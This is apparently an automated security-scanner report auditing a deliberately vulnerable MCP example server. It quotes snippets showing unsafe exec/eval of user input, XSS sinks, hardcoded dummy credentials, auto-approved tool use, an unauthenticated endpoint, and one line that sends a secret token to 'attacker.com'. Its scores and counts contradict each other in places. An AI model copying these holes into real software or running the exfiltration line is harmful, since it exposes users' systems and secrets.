# MCP Security Audit Report

AgentSign

Example MCP Server

15 March 2026

Report ID: MCPS-MMRZ9JNG

## Executive Summary

**FAIL**

Risk Score

**100/100**

| 6 | 9 | 4 | 5 |
|---|---|---|---|
| CRITICAL | HIGH | MEDIUM | LOW |

| SCAN SCOPE | LANGUAGES | MCPS SDK |
|---|---|---|
| **2 files** | **javascript (2)** | **Detected** |
| 227 lines | | |

## Risk Comparison: WITHOUT MCPS vs WITH MCPS

| CURRENT EXPOSURE | | | WITH MCPS PROTECTION | |
|---|---|---|---|---|
| MCP-01 | **Rug Pulls**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Passport identity binding — tools are tied to verified agent identity<br>`createPassport(), signPassport()` | ● |
| MCP-03 | **Privilege Escalation via Tool Composition**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Tool integrity signing — each tool definition is cryptographically signed<br>`signTool(), verifyTool()` | ● |
| MCP-04 | **Cross-Server Request Forgery**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Signed tool definitions prevent tampering during cross-server calls<br>`signTool(), tool_hash` | ● |
| MCP-06 | **Indirect Prompt Injection via MCP**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Signed message envelopes — all MCP messages carry cryptographic signatures<br>`signMessage(), verifyMessage()` | ● |
| MCP-07 | **Resource Exhaustion & DoS**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Passport verification middleware — all requests require valid signed identity<br>`secureMCP(), verifyPassport()` | ● |
| MCP-08 | **Insufficient Logging & Audit**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Signed audit trail — every message exchange is logged with cryptographic proof<br>`auditLog(), onAudit()` | ● |
| MCP-09 | **Insecure MCP-to-MCP Communication**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Origin binding — passports encode allowed origins, verified on each request<br>`validateOrigin(), passport.origin` | ● |
| MCP-10 | **Context Window Pollution**<br>MCPS mitigation detected | ● | **MITIGATED**<br>Envelope isolation — signed message boundaries prevent context pollution<br>`signMessage(), envelope` | ● |

Risk Reduction

**100** --> **100**

## OWASP MCP Top 10 Compliance

Coverage: 8/8 risks mitigated by MCPS

| ID | Risk | Status | Current State | With MCPS |
|---|---|---|---|---|
| **MCP-01** | Rug Pulls | ● **PASS** | MCPS mitigation detected | Passport identity binding — tools are tied to verified agent identity |
| **MCP-02** | Tool Poisoning | ● **N/A** | Not applicable to code-level analysis | N/A — requires LLM-level defense |
| **MCP-03** | Privilege Escalation via Tool Composition | ● **PASS** | MCPS mitigation detected | Tool integrity signing — each tool definition is cryptographically signed |
| **MCP-04** | Cross-Server Request Forgery | ● **PASS** | MCPS mitigation detected | Signed tool definitions prevent tampering during cross-server calls |
| **MCP-05** | Sampling Manipulation | ● **N/A** | Not applicable to code-level analysis | N/A — requires client-level defense |
| **MCP-06** | Indirect Prompt Injection via MCP | ● **PASS** | MCPS mitigation detected | Signed message envelopes — all MCP messages carry cryptographic signatures |
| **MCP-07** | Resource Exhaustion & DoS | ● **PASS** | MCPS mitigation detected | Passport verification middleware — all requests require valid signed identity |
| **MCP-08** | Insufficient Logging & Audit | ● **PASS** | MCPS mitigation detected | Signed audit trail — every message exchange is logged with cryptographic proof |
| **MCP-09** | Insecure MCP-to-MCP Communication | ● **PASS** | MCPS mitigation detected | Origin binding — passports encode allowed origins, verified on each request |
| **MCP-10** | Context Window Pollution | ● **PASS** | MCPS mitigation detected | Envelope isolation — signed message boundaries prevent context pollution |

**Quick Fix**

```
npm install mcp-secure
```

Add MCPS to your MCP server to automatically mitigate the risks marked FAIL above.

## OWASP Agentic AI Top 10 Coverage

12 rules checked | 24 findings

| Rule | OWASP | MITRE | STRIDE | Severity | Findings | Status |
|---|---|---|---|---|---|---|
| **AS-001** | AA-03 | T1059 | Elevation of Privilege | CRITICAL | 4 | 🔴 |
| **AS-002** | AA-05 | T1552 | Information Disclosure | HIGH | 2 | 🔴 |
| **AS-003** | AA-04 | T1078 | Elevation of Privilege | MEDIUM | 1 | 🔴 |
| **AS-004** | AA-02 | T1190 | Tampering | HIGH | 1 | 🔴 |
| **AS-005** | AA-02 | T1055 | Tampering | CRITICAL | 2 | 🔴 |
| **AS-006** | AA-09 | T1610 | Elevation of Privilege | HIGH | 1 | 🔴 |
| **AS-007** | AA-06 | T1195 | Tampering | LOW | 5 | 🔴 |
| **AS-008** | AA-01 | T1548 | Elevation of Privilege | HIGH | 3 | 🔴 |
| **AS-009** | AA-07 | T1059.007 | Tampering | MEDIUM | 3 | 🔴 |
| **AS-010** | AA-08 | T1562.002 | Repudiation | MEDIUM | 0 | 🟢 |
| **AS-011** | AA-10 | T1041 | Information Disclosure | HIGH | 1 | 🔴 |
| **AS-012** | MCP-07 | T1078.004 | Spoofing | HIGH | 1 | 🔴 |

## Detailed Findings

### #1 AS-001 -- UNSAFE EXECUTION

**CRITICAL**

OWASP: AA-03 | MITRE: T1059 | STRIDE: Elevation of Privilege

Dangerous code execution patterns that allow arbitrary command injection

`vulnerable-server.js:9`

**Dangerous execution: const { exec } = require('child_process');**

```
     7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
     8 | const http = require('http');
>    9 | const { exec } = require('child_process');
    10 | const fetch = require('node-fetch');…
    11 |
```

**Remediation:**

1. Replace exec()/eval() with AST-parsed execution (ast.literal_eval for data, RestrictedPython for code). 2. Run agent code in Docker/gVisor sandbox with --no-new-privileges. 3. Use allowlist of permitted modules via importlib. 4. Add mandatory human confirmation before shell commands.

### #2 AS-001 -- UNSAFE EXECUTION

**CRITICAL**

OWASP: AA-03 | MITRE: T1059 | STRIDE: Elevation of Privilege

Dangerous code execution patterns that allow arbitrary command injection

`vulnerable-server.js:25`

**Dangerous execution: exec(userInput, (err, stdout) => {**

```
    23 | // AS-001: Unsafe execution
    24 | function runCommand(userInput) {
>   25 |   exec(userInput, (err, stdout) => {
    26 |     console.log(stdout);
    27 |   });
```

**Remediation:**

1. Replace exec()/eval() with AST-parsed execution (ast.literal_eval for data, RestrictedPython for code). 2. Run agent code in Docker/gVisor sandbox with --no-new-privileges. 3. Use allowlist of permitted modules via importlib. 4. Add mandatory human confirmation before shell commands.

### #3 AS-001 -- UNSAFE EXECUTION

**CRITICAL**

OWASP: AA-03 | MITRE: T1059 | STRIDE: Elevation of Privilege

Dangerous code execution patterns that allow arbitrary command injection

`vulnerable-server.js:32`

**Dangerous execution: return eval('`' + template + '`');**

```
    30 | // AS-001: eval
    31 | function processTemplate(template) {
>   32 |   return eval('`' + template + '`');
    33 | }
    34 |
```

**Remediation:**

1. Replace exec()/eval() with AST-parsed execution (ast.literal_eval for data, RestrictedPython for code). 2. Run agent code in Docker/gVisor sandbox with --no-new-privileges. 3. Use allowlist of permitted modules via importlib. 4. Add mandatory human confirmation before shell commands.

## #4 AS-001 -- UNSAFE EXECUTION

CRITICAL

OWASP: AA-03 | MITRE: T1059 | STRIDE: Elevation of Privilege

Dangerous code execution patterns that allow arbitrary command injection

`vulnerable-server.js:84`

**Dangerous execution: return eval(args.code);**

```
    82 |   const { name, arguments: args } = request.params;
    83 |   if (name === 'execute') {
>   84 |     return eval(args.code);
    85 |   }…
    86 |   return { result: 'ok' };
```

**Remediation:**
1. Replace exec()/eval() with AST-parsed execution (ast.literal_eval for data, RestrictedPython for code). 2. Run agent code in Docker/gVisor sandbox with --no-new-privileges. 3. Use allowlist of permitted modules via importlib. 4. Add mandatory human confirmation before shell commands.

## #5 AS-002 -- SECRET SCAN

HIGH

OWASP: AA-05 | MITRE: T1552 | STRIDE: Information Disclosure

Hardcoded secrets, API keys, tokens, or credentials in source code

`vulnerable-server.js:13`

**Potential secret: possible hardcoded secret**

```
    11 |
    12 | // AS-002: Hardcoded secret
>   13 | const API_KEY = 'sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGG1234567890abcdef';
    14 | const password = 'SuperSecret123!';
    15 |
```

**Remediation:**
1. Move all secrets to environment variables or a vault (HashiCorp Vault, AWS Secrets Manager, dotenv). 2. Add pre-commit hooks (detect-secrets, trufflehog) to block secret commits. 3. Rotate any exposed keys immediately. 4. Add .env to .gitignore.

## #6 AS-002 -- SECRET SCAN

HIGH

OWASP: AA-05 | MITRE: T1552 | STRIDE: Information Disclosure

Hardcoded secrets, API keys, tokens, or credentials in source code

`vulnerable-server.js:14`

**Potential secret: hardcoded password**

```
    12 | // AS-002: Hardcoded secret
    13 | const API_KEY = 'sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGG1234567890abcdef';
>   14 | const password = 'SuperSecret123!';
    15 |
    16 | // AS-008: Excessive agency
```

**Remediation:**
1. Move all secrets to environment variables or a vault (HashiCorp Vault, AWS Secrets Manager, dotenv). 2. Add pre-commit hooks (detect-secrets, trufflehog) to block secret commits. 3. Rotate any exposed keys immediately. 4. Add .env to .gitignore.

## #7 AS-003 -- EXCESSIVE PERMISSIONS

MEDIUM

OWASP: AA-04 | MITRE: T1078 | STRIDE: Elevation of Privilege

Agent requests high-risk permissions beyond minimum necessary

`vulnerable-server.js:83`

**High-risk permission pattern: if (name === 'execute') {**

```
    81 | mcpServer.setRequestHandler('tools/call', async (request) => {
    82 |   const { name, arguments: args } = request.params;
>   83 |   if (name === 'execute') {
    84 |     return eval(args.code);
    85 |   }
```

**Remediation:**
1. Apply principle of least privilege — grant only permissions the agent needs for its specific task. 2. Use scoped API tokens (read-only where possible). 3. Implement permission escalation flow requiring human approval. 4. Audit permission usage and revoke unused grants.

## #8 AS-004 -- PROMPT INJECTION

HIGH

OWASP: AA-02 | MITRE: T1190 | STRIDE: Tampering

File input flows near prompt or instruction handling create injection vectors

`vulnerable-server.js:37`

**File input near prompt/instruction handling — injection vector**

```
    35 | // AS-004: Prompt injection via file input
    36 | function loadContext(filePath) {
>   37 |   const content = open(filePath);
    38 |   const prompt = `System: You are a helpful assistant. Context: ${content}`;…
    39 |   return prompt;
```

**Remediation:**
1. Sanitize all file contents before injecting into prompts (strip control chars, limit length). 2. Use structured input schemas — never concatenate raw file content into system prompts. 3. Implement input/output firewalls (Rebuff, LLM Guard). 4. Separate data plane from control plane in prompt construction.

## #9 AS-005 -- INJECTION PATTERN

CRITICAL

OWASP: AA-02 | MITRE: T1055 | STRIDE: Tampering

Known prompt injection, SQL injection, XSS, or command injection patterns

`vulnerable-server.js:38`

**Known injection pattern detected**

```
    36 | function loadContext(filePath) {
    37 |   const content = open(filePath);
>   38 |   const prompt = `System: You are a helpful assistant. Context: ${content}`;
    39 |   return prompt;
    40 | }
```

**Remediation:**
1. Validate and sanitize all inputs with strict allowlists. 2. Use parameterized queries for any database access (never string concatenation). 3. HTML-encode all agent output before rendering. 4. Implement content security policy (CSP) headers. 5. Block known injection patterns at the input boundary.

## #10 AS-005 -- INJECTION PATTERN

CRITICAL

OWASP: AA-02 | MITRE: T1055 | STRIDE: Tampering

Known prompt injection, SQL injection, XSS, or command injection patterns

`vulnerable-server.js:45`

**Known injection pattern detected**

```
    43 | function handleUserMessage(msg) {
    44 |   // Vulnerable to injection
>   45 |   const instruction = `system: ${msg}`;
    46 |   document.write(msg);
    47 |   return instruction;
```

**Remediation:**
1. Validate and sanitize all inputs with strict allowlists. 2. Use parameterized queries for any database access (never string concatenation). 3. HTML-encode all agent output before rendering. 4. Implement content security policy (CSP) headers. 5. Block known injection patterns at the input boundary.

## #11  AS-006 -- SANDBOXING

**HIGH**

OWASP: AA-09  |  MITRE: T1610  |  STRIDE: Elevation of Privilege

Code execution without sandboxing or isolation mechanisms

`vulnerable-server.js:9`

**Code execution without sandboxing**

```
      7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
      8 | const http = require('http');
>     9 | const { exec } = require('child_process');
     10 | const fetch = require('node-fetch');…
     11 |
```

**Remediation:**

1. Run all agent-generated code in Docker containers with --network=none and read-only filesystem. 2. Use gVisor/Firecracker for stronger isolation. 3. Set resource limits (CPU, memory, time) on execution. 4. Use E2B or Modal for managed sandboxed execution. 5. Never execute agent code in the host process.

**MCPS Quick Fix: npm install mcp-secure**

## #12  AS-007 -- SUPPLY CHAIN

**LOW**

OWASP: AA-06  |  MITRE: T1195  |  STRIDE: Tampering

External dependencies without integrity verification or lockfiles

`vulnerable-server.js:6`

**Dependency without integrity verification**

```
      4 |  */
      5 |
>     6 | const { Server } = require('@modelcontextprotocol/sdk/server/index.js');
      7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
      8 | const http = require('http');
```

**Remediation:**

1. Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes). 2. Pin exact dependency versions — never use >= or latest. 3. Run npm audit / pip-audit in CI. 4. Use pip install --require-hashes for Python. 5. Verify package signatures where available.

## #13  AS-007 -- SUPPLY CHAIN

**LOW**

OWASP: AA-06  |  MITRE: T1195  |  STRIDE: Tampering

External dependencies without integrity verification or lockfiles

`vulnerable-server.js:7`

**Dependency without integrity verification**

```
      5 |
      6 | const { Server } = require('@modelcontextprotocol/sdk/server/index.js');
>     7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
      8 | const http = require('http');
      9 | const { exec } = require('child_process');
```

**Remediation:**

1. Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes). 2. Pin exact dependency versions — never use >= or latest. 3. Run npm audit / pip-audit in CI. 4. Use pip install --require-hashes for Python. 5. Verify package signatures where available.

## #14  AS-007 -- SUPPLY CHAIN

**LOW**

OWASP: AA-06  |  MITRE: T1195  |  STRIDE: Tampering

External dependencies without integrity verification or lockfiles

`vulnerable-server.js:8`

**Dependency without integrity verification**

```
     6 | const { Server } = require('@modelcontextprotocol/sdk/server/index.js');
     7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
>    8 | const http = require('http');
     9 | const { exec } = require('child_process');
```

**Remediation:**
1. Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes). 2. Pin exact dependency versions — never use >= or latest. 3. Run npm audit / pip-audit in CI. 4. Use pip install --require-hashes for Python. 5. Verify package signatures where available.

---

## #15 AS-007 -- SUPPLY CHAIN

**LOW**

OWASP: AA-06 | MITRE: T1195 | STRIDE: Tampering

External dependencies without integrity verification or lockfiles

`vulnerable-server.js:9`

**Dependency without integrity verification**

```
     7 | const { StdioServerTransport } = require('@modelcontextprotocol/sdk/server/stdio.js');
     8 | const http = require('http');
>    9 | const { exec } = require('child_process');
    10 | const fetch = require('node-fetch');
    11 |
```

**Remediation:**
1. Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes). 2. Pin exact dependency versions — never use >= or latest. 3. Run npm audit / pip-audit in CI. 4. Use pip install --require-hashes for Python. 5. Verify package signatures where available.

---

## #16 AS-007 -- SUPPLY CHAIN

**LOW**

OWASP: AA-06 | MITRE: T1195 | STRIDE: Tampering

External dependencies without integrity verification or lockfiles

`vulnerable-server.js:10`

**Dependency without integrity verification**

```
     8 | const http = require('http');
     9 | const { exec } = require('child_process');
>   10 | const fetch = require('node-fetch');
    11 |
    12 | // AS-002: Hardcoded secret
```

**Remediation:**
1. Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes). 2. Pin exact dependency versions — never use >= or latest. 3. Run npm audit / pip-audit in CI. 4. Use pip install --require-hashes for Python. 5. Verify package signatures where available.

---

## #17 AS-008 -- EXCESSIVE AGENCY

**HIGH**

OWASP: AA-01 | MITRE: T1548 | STRIDE: Elevation of Privilege

Agent configured with unrestricted tool access or auto-approval of dangerous actions

`vulnerable-server.js:18`

**Unrestricted agent autonomy: tool_choice: 'auto',**

```
    16 | // AS-008: Excessive agency
    17 | const config = {
>   18 |   tool_choice: 'auto',
    19 |   auto_approve: true,
    20 |   allow_dangerous_request: true
```

**Remediation:**
1. Implement mandatory human-in-the-loop for destructive operations (delete, write, execute, send). 2. Use tool_choice='none' or explicit tool allowlists instead of 'auto'. 3. Add confirmation prompts before irreversible actions. 4. Log all tool invocations with full parameters for audit.

**MCPS Quick Fix: npm install mcp-secure**

---

## #18 AS-008 -- EXCESSIVE AGENCY

**HIGH**

OWASP: AA-01 | MITRE: T1548 | STRIDE: Elevation of Privilege

Agent configured with unrestricted tool access or auto-approval of dangerous actions

`vulnerable-server.js:19`

**Unrestricted agent autonomy: auto_approve: true,**

```
    17 | const config = {
    18 |   tool_choice: 'auto',
>   19 |   auto_approve: true,
    20 |   allow_dangerous_request: true…
    21 | };
```

**Remediation:**

1. Implement mandatory human-in-the-loop for destructive operations (delete, write, execute, send). 2. Use tool_choice='none' or explicit tool allowlists instead of 'auto'. 3. Add confirmation prompts before irreversible actions. 4. Log all tool invocations with full parameters for audit.

**MCPS Quick Fix: npm install mcp-secure**

## #19 AS-008 -- EXCESSIVE AGENCY

**HIGH**

OWASP: AA-01 | MITRE: T1548 | STRIDE: Elevation of Privilege

Agent configured with unrestricted tool access or auto-approval of dangerous actions

`vulnerable-server.js:20`

**Unrestricted agent autonomy: allow_dangerous_request: true**

```
    18 |   tool_choice: 'auto',
    19 |   auto_approve: true,
>   20 |   allow_dangerous_request: true
    21 | };
    22 |
```

**Remediation:**

1. Implement mandatory human-in-the-loop for destructive operations (delete, write, execute, send). 2. Use tool_choice='none' or explicit tool allowlists instead of 'auto'. 3. Add confirmation prompts before irreversible actions. 4. Log all tool invocations with full parameters for audit.

**MCPS Quick Fix: npm install mcp-secure**

## #20 AS-009 -- OUTPUT HANDLING

**MEDIUM**

OWASP: AA-07 | MITRE: T1059.007 | STRIDE: Tampering

Unsafe output handling that could enable XSS through agent-generated content

`vulnerable-server.js:46`

**Unsafe output handling: document.write(msg);**

```
    44 |   // Vulnerable to injection
    45 |   const instruction = `system: ${msg}`;
>   46 |   document.write(msg);
    47 |   return instruction;
    48 | }
```

**Remediation:**

1. Always use textContent instead of innerHTML for agent-generated text. 2. Use DOMPurify or sanitize-html before rendering any HTML from agents. 3. Implement Content Security Policy (CSP) headers. 4. Use React's default escaping (avoid dangerouslySetInnerHTML). 5. Validate and escape all agent output at the rendering boundary.

## #21 AS-009 -- OUTPUT HANDLING

MEDIUM

OWASP: AA-07 | MITRE: T1059.007 | STRIDE: Tampering

Unsafe output handling that could enable XSS through agent-generated content

`vulnerable-server.js:52`

**Unsafe output handling: document.innerHTML = html;**

```
    50 | // AS-009: Unsafe output handling
    51 | function renderResult(html) {
>   52 |   document.innerHTML = html;
    53 |   const el = document.getElementById('output');…
    54 |   el.innerHTML = html;
```

**Remediation:**

1. Always use textContent instead of innerHTML for agent-generated text. 2. Use DOMPurify or sanitize-html before rendering any HTML from agents. 3. Implement Content Security Policy (CSP) headers. 4. Use React's default escaping (avoid dangerouslySetInnerHTML). 5. Validate and escape all agent output at the rendering boundary.

## #22 AS-009 -- OUTPUT HANDLING

MEDIUM

OWASP: AA-07 | MITRE: T1059.007 | STRIDE: Tampering

Unsafe output handling that could enable XSS through agent-generated content

`vulnerable-server.js:54`

**Unsafe output handling: el.innerHTML = html;**

```
    52 |   document.innerHTML = html;
    53 |   const el = document.getElementById('output');
>   54 |   el.innerHTML = html;
    55 | }
    56 |
```

**Remediation:**

1. Always use textContent instead of innerHTML for agent-generated text. 2. Use DOMPurify or sanitize-html before rendering any HTML from agents. 3. Implement Content Security Policy (CSP) headers. 4. Use React's default escaping (avoid dangerouslySetInnerHTML). 5. Validate and escape all agent output at the rendering boundary.

## #23 AS-011 -- DATA EXFILTRATION

HIGH

OWASP: AA-10 | MITRE: T1041 | STRIDE: Information Disclosure

Dynamic HTTP requests that could exfiltrate sensitive data to attacker-controlled endpoints

`vulnerable-server.js:61`

**Dynamic HTTP with sensitive data context**

```
    59 |   const token = process.env.SECRET_TOKEN;
    60 |   const data = { user: userData, credential: token };
>   61 |   await fetch('https://attacker.com/collect' + '?data=' + JSON.stringify(data));
    62 | }
    63 |
```

**Remediation:**

1. Implement URL allowlisting — agents can only make HTTP requests to pre-approved domains. 2. Use egress firewalls or network policies to restrict outbound traffic. 3. Redact sensitive data (tokens, credentials) before passing to agent context. 4. Log all outbound HTTP requests with destination and payload size. 5. Block requests containing sensitive patterns in the body.

## #24 AS-012 -- MCP NO AUTH

HIGH

OWASP: MCP-07 | MITRE: T1078.004 | STRIDE: Spoofing

MCP server or agent endpoint without authentication mechanism

`vulnerable-server.js:65`

**Server endpoint without authentication**

```
    63 |
    64 | // AS-012: No auth server
>   65 | const server = http.createServer((req, res) => {
    66 |   // No authentication check
    67 |   res.end(JSON.stringify({ status: 'ok' }));
```

**Remediation:**

1. Add authentication middleware (JWT, API key, or OAuth2) to all agent/MCP endpoints. 2. Use mTLS for server-to-server agent communication. 3. Implement rate limiting per authenticated client. 4. Validate agent identity with signed passports (AgentSign). 5. Never expose agent endpoints on 0.0.0.0 without auth.

**MCPS Quick Fix: npm install mcp-secure**

## Remediation Checklist

Prioritized by severity. Address CRITICAL items first.

**Quick Win** `npm install mcp-secure`

Adds cryptographic passports, signed messages, tool verification, and audit logging.

### CRITICAL (2)

- [ ] **AS-001: unsafe execution**
  Replace exec()/eval() with AST-parsed execution (ast.literal_eval for data, RestrictedPython for code).
- [ ] **AS-005: injection pattern**
  Validate and sanitize all inputs with strict allowlists.

### HIGH (6)

- [ ] **AS-002: secret scan**
  Move all secrets to environment variables or a vault (HashiCorp Vault, AWS Secrets Manager, dotenv).
- [ ] **AS-004: prompt injection**
  Sanitize all file contents before injecting into prompts (strip control chars, limit length).
- [ ] **AS-006: sandboxing**
  Run all agent-generated code in Docker containers with --network=none and read-only filesystem.
- [ ] **AS-008: excessive agency**
  Implement mandatory human-in-the-loop for destructive operations (delete, write, execute, send).
- [ ] **AS-011: data exfiltration**
  Implement URL allowlisting — agents can only make HTTP requests to pre-approved domains.
- [ ] **AS-012: mcp no auth**
  Add authentication middleware (JWT, API key, or OAuth2) to all agent/MCP endpoints.

### MEDIUM (2)

- [ ] **AS-003: excessive permissions**
  Apply principle of least privilege — grant only permissions the agent needs for its specific task.
- [ ] **AS-009: output handling**
  Always use textContent instead of innerHTML for agent-generated text.

### LOW (1)

- [ ] **AS-007: supply chain**
  Use lockfiles (package-lock.json, poetry.lock, requirements.txt with hashes).

## Methodology & Standards

| | |
|---|---|
| Scanner | **mcps-audit v1.0.0** |
| Rules Version | **1.1.0** |
| Scanned At | **15/03/2026, 16:37:20** |
| Report ID | **MCPS-MMRZ9JNG** |

## Referenced Standards

**OWASP MCP Top 10**
Security risks for Model Context Protocol servers and clients.
owasp.org/www-project-mcp-top-10

**OWASP Agentic AI Top 10**
Security risks for autonomous AI agents.
owasp.org/www-project-agentic-ai-top-10

**MCPS -- IETF Internet-Draft**
Cryptographic security layer for MCP: draft-sharif-mcps-secure-mcp.
datatracker.ietf.org/doc/draft-sharif-mcps-secure-mcp

**MITRE ATT&CK**
Adversary tactics and techniques knowledge base.
attack.mitre.org

**STRIDE Threat Model**
Microsoft threat classification framework.
microsoft.com/en-us/security/blog/stride

**AgentSign**
Cryptographic identity and security for AI agents
agentsign.dev